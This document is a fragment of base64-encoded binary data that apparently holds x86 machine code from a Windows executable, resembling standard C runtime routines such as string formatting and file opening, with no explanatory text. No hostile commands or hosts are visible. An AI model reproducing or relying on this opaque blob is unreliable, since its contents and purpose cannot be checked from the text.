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//2vACQ+2hDBo80AAagjB6AReiYXM+///O8YPhDP///+D+AcPh90JAAD/JIWfgkAAM8CDjfT7////iYWk+///iYWw+///iYXU+///iYXc+///iYX4+///iYXY+///6bAJAAAPt8GD6CB0SIPoA3Q0K8Z0JCvCdBSD6AMPhYYJAAAJtfj7///phwkAAION+Pv//wTpewkAAION+Pv//wHpbwkAAIGN+Pv//4AAAADpYAkAAAmV+Pv//+lVCQAAZoP5KnUriwODwwSJnej7//+JhdT7//+FwA+NNgkAAION+Pv//wT3ndT7///pJAkAAIuF1Pv//2vACg+3yY1ECNCJhdT7///pCQkAAIOl9Pv//wDp/QgAAGaD+Sp1JYsDg8MEiZ3o+///iYX0+///hcAPjd4IAACDjfT7////6dIIAACLhfT7//9rwAoPt8mNRAjQiYX0+///6bcIAAAPt8GD+El0UYP4aHRAg/hsdBiD+HcPhZwIAACBjfj7//8ACAAA6Y0IAABmgz9sdRED+oGN+Pv//wAQAADpdggAAION+Pv//xDpaggAAION+Pv//yDpXggAAA+3B2aD+DZ1GWaDfwI0dRKDxwSBjfj7//8AgAAA6TwIAABmg/gzdRlmg38CMnUSg8cEgaX4+////3///+kdCAAAZoP4ZA+EEwgAAGaD+GkPhAkIAABmg/hvD4T/BwAAZoP4dQ+E9QcAAGaD+HgPhOsHAABmg/hYD4ThBwAAg6XM+///AIuFxPv//1GNteD7///Hhdj7//8BAAAA6Oz7//9Z6bgHAAAPt8GD+GQPjzACAAAPhL0CAACD+FMPjxsBAAB0foPoQXQQK8J0WSvCdAgrwg+F7AUAAIPBIMeFpPv//wEAAACJjeT7//+Djfj7//9Ag730+///AI21/Pv//7gAAgAAibXw+///iYXs+///D42NAgAAx4X0+///BgAAAOnpAgAA94X4+///MAgAAA+FyQAAAION+Pv//yDpvQAAAPeF+Pv//zAIAAB1B4ON+Pv//yCLvfT7//+D//91Bb////9/g8ME9oX4+///IImd6Pv//4tb/Imd8Pv//w+EBQUAAIXbdQuhOBxBAImF8Pv//4Ol7Pv//wCLtfD7//+F/w+OHQUAAIoGhMAPhBMFAACNjbT7//8PtsBRUOiA+v//WVmFwHQBRkb/hez7//85vez7//980OnoBAAAg+hYD4TwAgAAK8IPhJUAAACD6AcPhPX+//8rwg+FxgQAAA+3A4PDBDP2RvaF+Pv//yCJtdj7//+Jnej7//+JhZz7//90QoiFyPv//42FtPv//1CLhbT7///Ghcn7//8A/7CsAAAAjYXI+///UI2F/Pv//1Dou/j//4PEEIXAfQ+JtbD7///rB2aJhfz7//+Nhfz7//+JhfD7//+Jtez7///pQgQAAIsDg8MEiZ3o+///hcB0OotIBIXJdDP3hfj7//8ACAAAD78AiY3w+///dBKZK8LHhdj7//8BAAAA6f0DAACDpdj7//8A6fMDAAChOBxBAImF8Pv//1Doqff//1np3AMAAIP4cA+P9gEAAA+E3gEAAIP4ZQ+MygMAAIP4Zw+O6P3//4P4aXRtg/hudCSD+G8Pha4DAAD2hfj7//+AibXk+///dGGBjfj7//8AAgAA61WLM4PDBImd6Pv//+gj9///hcAPhFb6///2hfj7//8gdAxmi4Xg+///ZokG6wiLheD7//+JBseFsPv//wEAAADpwQQAAION+Pv//0DHheT7//8KAAAA94X4+///AIAAAA+EqwEAAAPei0P4i1P86ecBAAB1EmaD+Wd1Y8eF9Pv//wEAAADrVzmF9Pv//34GiYX0+///gb30+///owAAAH49i730+///gcddAQAAV+ii9f//WYuN5Pv//4mFqPv//4XAdBCJhfD7//+Jvez7//+L8OsKx4X0+///owAAAIsDg8MIiYWU+///i0P8iYWY+///jYW0+///UP+1pPv//w++wf+19Pv//4md6Pv//1D/tez7//+NhZT7//9WUP81WBxBAOhC4f//Wf/Qi534+///g8QcgeOAAAAAdCGDvfT7//8AdRiNhbT7//9QVv81ZBxBAOgS4f//Wf/QWVlmg73k+///Z3Uchdt1GI2FtPv//1BW/zVgHEEA6Ozg//9Z/9BZWYA+LXURgY34+///AAEAAEaJtfD7//9W6Qj+//+JtfT7///Hhaz7//8HAAAA6ySD6HMPhGr8//8rwg+Eiv7//4PoAw+FyQEAAMeFrPv//ycAAAD2hfj7//+Ax4Xk+///EAAAAA+Eav7//2owWGaJhdD7//+Lhaz7//+DwFFmiYXS+///iZXc+///6UX+///3hfj7//8AEAAAD4VF/v//g8ME9oX4+///IHQc9oX4+///QImd6Pv//3QGD79D/OsED7dD/JnrF/aF+Pv//0CLQ/x0A5nrAjPSiZ3o+///9oX4+///QHQbhdJ/F3wEhcBzEffYg9IA99qBjfj7//8AAQAA94X4+///AJAAAIvai/h1AjPbg730+///AH0Mx4X0+///AQAAAOsag6X4+///97gAAgAAOYX0+///fgaJhfT7//+LxwvDdQYhhdz7//+Ntfv9//+LhfT7////jfT7//+FwH8Gi8cLw3Qti4Xk+///mVJQU1fouKf//4PBMIP5OYmdkPv//4v4i9p+BgONrPv//4gOTuu9jYX7/f//K8ZG94X4+///AAIAAImF7Pv//4m18Pv//3RZhcB0B4vOgDkwdE7/jfD7//+LjfD7///GATBA6zaF23ULoTwcQQCJhfD7//+LhfD7///Hhdj7//8BAAAA6wlPZoM4AHQGA8KF/3XzK4Xw+///0fiJhez7//+DvbD7//8AD4VlAQAAi4X4+///qEB0K6kAAQAAdARqLesOqAF0BGor6waoAnQUaiBYZomF0Pv//8eF3Pv//wEAAACLndT7//+Ltez7//8r3iud3Pv///aF+Pv//wx1F/+1xPv//42F4Pv//1NqIOiE9f//g8QM/7Xc+///i73E+///jYXg+///jY3Q+///6Iv1///2hfj7//8IWXQb9oX4+///BHUSV1NqMI2F4Pv//+hC9f//g8QMg73Y+///AHV1hfZ+cYu98Pv//4m15Pv///+N5Pv//42FtPv//1CLhbT7////sKwAAACNhZz7//9XUOhV8///g8QQiYWQ+///hcB+Kf+1nPv//4uFxPv//4214Pv//+it9P//A72Q+///g73k+///AFl/puscg43g+////+sTi43w+///Vo2F4Pv//+jW9P//WYO94Pv//wB8IPaF+Pv//wR0F/+1xPv//42F4Pv//1NqIOiI9P//g8QMg72o+///AHQT/7Wo+///6MDN//+Dpaj7//8AWYu9oPv//4ud6Pv//w+3BzP2iYXk+///ZjvGdAeLyOmh9f//ObXM+///dA2Dvcz7//8HD4VQ9f//gL3A+///AHQKi4W8+///g2Bw/YuF4Pv//4tN/F9eM81b6CWW///Jw4v/b3pAAGd4QACZeEAA9HhAAEB5QABMeUAAknlAAJF6QACL/1W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